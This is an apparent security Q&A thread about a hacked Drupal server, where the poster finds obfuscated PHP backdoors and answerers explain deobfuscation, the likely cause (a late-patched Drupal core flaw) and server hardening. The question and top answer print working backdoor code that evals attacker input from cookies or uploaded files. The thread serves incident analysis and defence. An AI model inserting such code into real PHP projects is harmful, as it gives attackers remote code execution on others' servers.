14

I've got a drupal site running on an up to date CentOS 7 LAMP AWS EC2 instance (freshly installed a couple of months ago) and I've just found out that somehow, probably through a poorly coded 3rd party module downloaded from drupal site and installed without the proper revision, some hacker managed to push what looks like a remote access tool in the site's root directory.

I've also found some obfuscated PHP scripts inside the sites/default folder. I've tried running them through http://www.unphp.net/ but no luck, they all look like rubbish:

http://www.unphp.net/decode/7f42bdb7c2a96a090a9ec4fdbb1e10a1/

So far, apart from these PHP files, everything seems in place, but it bothers me that I don't even know what they do.

Just this one translation-main, seems pretty clear that it is executing code from cookies:

<?php if(@$_COOKIE['ox']){$blft=$_COOKIE['ox']("",@$_COOKIE['mwov'](@$_COOKIE['lks']));$blft();}?>

What should I do now? Is there any way I can deobfuscate the code and monitor the hacker(s) activity? I am more interested in learning from this case as much as I can than in securing my server as soon as possible, since there is nothing private or valuable on it.

How this question is different:

I don't care about securing my data

I don't care about finding the attacker

I don't have clients to notify

The passwords and certificates I have used on this server are unique for the server and I have not logged onto any other server from it.

I don't need to stop any hacker, or even disconnect my server from the Internet. I have done it just in case, at least until I have examined the server in detail and concluded I can monitor any further activity, or decided I just have to reinstall.

I have specifics from the kind of attack. It's not: Oh no! Somebody did something in my server! It is: somebody put THIS in my server and I know it is a remote access tool and I have been trying to learn more about it but I am stuck. Can anybody help me figure out how to learn more about it?

  • 4
    @schroeder. Wow. Seriously. A duplicate. That question you linked couldn't be more broad. And mine is not so specific, just want to know more on attacks to drupal and how to reverse engineer a PHP RAT. – NotGaeL Apr 12 '15 at 4:37
  • 9
    Come on, I'm providing the entry point, the obfuscated code, platform specifics and a probable attack vector. I would understand if you linked me a general answer about PHP deobfuscation, which I've already been researching all afternoon, but a general answer on what to do when your server is compromised...Iwonder if you've even read the question. I've been pretty clear I am not interested on securing this server ASAP. I just want to know how and why and learn to avoid it happening again. I've got a hacked server to explore. Given what I already know I want to know what should be the next step – NotGaeL Apr 12 '15 at 4:47
  • 3
    Thanks, for the advice. Sorry about being so cranky. The answer you both point me to is actually very good aadvice on what to do if I ever discover a break in on a client's production machine. I was not worried about this, because it is more a toy server to experiment than a production thing: just one of those AWS micro instances; but I got so absorbed by it that I haven't even slept today. Time to got to bed :-) – NotGaeL Apr 12 '15 at 5:55
  • 1
    Please post which Drupal plugins you use, and if you find the affected plugin mention it. Thank you. – dotancohen Apr 12 '15 at 18:26
  • One point to consider : even if your server did not have anything important and you are fine with leeching it in a hacked status, it might be used for malicious activities on other machines and this is you who is going to take the blame. – WoJ Apr 12 '15 at 20:57
20

These kinds of back-doors are polymorphic, that is they are designed to look different every time - in practice it's a waste of time trying to decipher them because they all do exactly the same thing.

They take external input and they execute it.

It might take input from a cookie or a post variable, and it might try and set some PHP options to prevent errors being displayed or logged, but the end goal is always the same. They take external input and they execute it.

What should I do now?

You should proceed to clean up your server, patch the vulnerability and move on.

since there is nothing private or valuable on it

If that's the case then I strongly encourage you to terminate the instance and spin up a new clean one.

I am more interested in learning from this case as much as I can

I doubt there'll be anything significant to learn or which would help you prevent the same thing happening in future. At best you'll end up seeing some generic code to send Viagra spam, at worst you'll end up hosting something like a phishing page.

Unless you can be very very sure that their code is isolated I wouldn't unnecessarily give them any opportunity to run code on your system. At the least AWS is likely to place restrictions on your account if they detect spam coming from one of your instances.

TLDR; It's not worth it. It'll just execute code remotely and they'll use it to send spam. Replace the instance with a fresh one ASAP.


If you really want to know what this specific code does then the process of deobfuscating them is always the same.

  1. Run the code through a code formatter
  2. Find all the function calls, eg. you can see $amwve = $zgxovk($xeyb, $wbjo); is a function call.
  3. Replace the function call line with an echo for each variable followed by an exit();
  4. Repeat this process as you work your way through the script figuring out what each of the variables hold at each step. Most of the variables will be superfluous and just there to confuse you.
  5. Eventually you'll find the bit which contains the actual code to take input and execute it.

Always do this in an isolated environment, I'd recommend an online PHP interpreter. You may have to remove a few function calls which are blocked such as ini_set.

In your case, if you get down to $wbjo and echo it you'll get this:

$bzg = (!empty($_FILES["imi"])) ? file_get_contents($_FILES["imi"]["tmp_name"]) : $_COOKIE["imi"];
$qnlzja = (!empty($_FILES["vfsm"])) ? file_get_contents($_FILES["vfsm"]["tmp_name"]) : $_COOKIE["vfsm"];
$pjgtk = base64_decode($bzg) ^ base64_decode($qnlzja);
@eval($pjgtk);

Which as you can see is taking two base64 encoded files, XORing them then eval'ing the result. The XORing is just so that firewalls and WAFs have a harder time identifying that the file being uploaded is malicious.

  • 2
    Wow, that was really cool! It might seem stupid for somebody who already knows, but learning more about how it works and what is doing makes me feel way less bummed about having to rebuild the server (it took me a full day to set it up, only two months ago!). Anyway, it is almost worth it xD I am going through the log files right now in the off chance that there is any trace on how the code got there in the first place, but whoever did it has probably erased anything linking to the original exploit... Still almost sure it was one of those damn plugins. Not even one plugin this time! – NotGaeL Apr 12 '15 at 5:43
  • Adding mostly for search engines: This looks like the same dropped script (the slight differences don't matter). It retrieves a different md5 and both are copied here to connect search results: makina-corpus.com/blog/metier/2015/… MD5 (yours): 786031bfafed59be417bea6f34881030 MD5 (theirs): 13a2890bb1ab430860c0d8d015b2a5af – ǝɲǝɲbρɯͽ Apr 19 '15 at 21:19
0

TL;DR:

It was a 2014-Oct-15 drupal core highly critical vulnerability that I patched too late and at the moment I missed on the severity of the issue and I didn't perform the proper checks to assess the server hadn't been compromised. The hack propagated from theme files copied from the decommissioned server backup instead of freshly downloaded from Drupal's site themes section. I got to this conclusion by reviewing database, web server and system logs, comparing database and drupal backups, reading drupal's core and extensions security advisory bulletins, and analyzing the RAT thanks to the tips provided by texacre.

OK I am very ashamed to admit this, but it now seems clear what happened.

As it usually happens with this things it was not a 0 day exploit but a critical update applied too late:

I was running another Drupal server I was using to test my projects on the wild until last December.

I was keeping it up to date with daily checks every time I logged in, but around november I was too busy at work and missed on a highly critical update: https://www.drupal.org/SA-CORE-2014-005

Only 7 hours after the announce the Drupal team was warning users that there were already privilege escalation exploits allowing to take over any non patched server running Drupal 7 or 8.

Somehow this warning didn't get to me, and 11 days later I saw the typical message "there is an update available", and updated without even read what the update was about. Since I was already hacked, it is probably not a coincidence that I was not shown any huge warning sign telling me how important this update was (Or maybe the update service doesn't provide a good enough mechanism for telling you what to do when you are updating a system that might have already been compromised...)

Anyhow, I did not even think about it any more since a couple of weeks later I decided to upgrade my EC2 plan, backed up this instance and turned it off for good to replace it with a new one.

Now fast forward until two months ago when I set up this new server:

I started it fresh (new drupal core and everything), but dropped in the theme files from the old one, instead of bothering to download the theme again. The first routine audit I performed on this server gave up the clues to find out the RAT code which led me to post this question on the first place.

And that's the story on how I set up and run for two months a hacked Drupal server for the pleasure of some spammer (from the logs it seems that was the main purpose of the attack, although no spam emails were sent because the AWS security group policy I always set up for the instances I run was preventing it).

So, let this be a reminder to anyone that they should find and subscribe to the security advisories bulletin of their CMS / framework / distro or whatever other technology they are using on a server, specially a public access one.

(Which I am, by the way, although since there are more than another 30 RSS feeds I totally missed this advisory until it was too late)

So I guess the lessons for me here are:

  • It is not enough to log in and check for updates: the CMS must be configured to send you an email to your main account when there is a critical one (I set up a secondary account for that and didn't set a filter to auto forward those messages to my main account, which would have taken 5 extra minutes and would have saved me from all this trouble)
  • To be more organized with my RSS feed and expeditive on my updates.
  • To always check for intrusions after critical vulnerabilities are announced
  • To always assume the system is compromised if exploits are on the wild before patching
  • Fresh means fresh: don't drop theme files from the old instance backup and call it fresh!
-1

I had seen a similar attack previously on a server of a client of mine.

The attacker found some vulnerability which allows the uploading of some files. Others mentioned some potential vulnerabilities.

From your description the attacker was able to write with the webserver user into your web root directory.This should not be the case when your server is configured properly. To protect you from further attacks you need to change the server setup.

From my experience the Apache server is only able to write in the web root directory:

  • When you explicitly set the permissions in the root directory to 0777 or
  • when you run the webserver with the same user as you write the PHP files (e.g. the owner of the web directory is the same user as the user of the running webserver).

To prevent similar attacks I recommend you to use a separate user for the webserver and the user who uploads the Drupal files. Typically you run the Apache server with the user www-data and you create at least one separate user for uploading the files. I also recommend to set the permissions in the web directory to 0755.

Some directories requires write permissions for uploading files. However in those directories you should add .htaccess file which prevents the execution of any uploaded files. This way even an attacker is able to upload a file he / she is not able to execute it.

The .htaccess could like this:

Order deny,allow
Deny from all
<Files ~ "\.(gif|jpg|png)$">
   order allow,deny
   allow from all
</Files>

This .htaccess allows only gif, jpg and png to be loaded over the browser for the current directory.

  • You say in your first post that an attacker was able to upload a file into your root directory. This is only possible when the attacker was able to write to it. Hence either through your webserver or your SFTP / FTP access. You write in the comment above that the webserver is able to write in the web root directory. You should not allow that. .htaccess works very well as long as you would not use Limit and some HTTP method to limit the access. Apparently you didn't get the basics of setup your webserver. – Thomas Hunziker Apr 19 '15 at 18:12
  • I have developed multiple Drupal modules in the past (see drupal.org/u/hunziker). Typically Drupal is setup to give the webserver only permission to write under the directory sites/[your-site-name]/files. When you find any file outside of this directory written by an attacker the attacker was also able to bypass the webserver's file permissions. The exploit mentioned in your post may be the root cause, however due to a week server configuration the attacker was able to exploit your system even further. – Thomas Hunziker Apr 19 '15 at 19:18
  • You got on my nerves and I wrote you an explosive comment, then I realized you are just trying to help and decided to erase it. Anyway, I will just say this: That's precisely what a privilege escalation is about; getting permissions you don't have. The web server did not have write permissions on the web app root. It was properly configured. Once you compromise the database and get writing access to sites/[your-site-name]/files you can do all sorts of nasty things like dropping some code and wait for somebody with enough permissions (like an updater process) for executing it. – NotGaeL Apr 19 '15 at 22:26

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.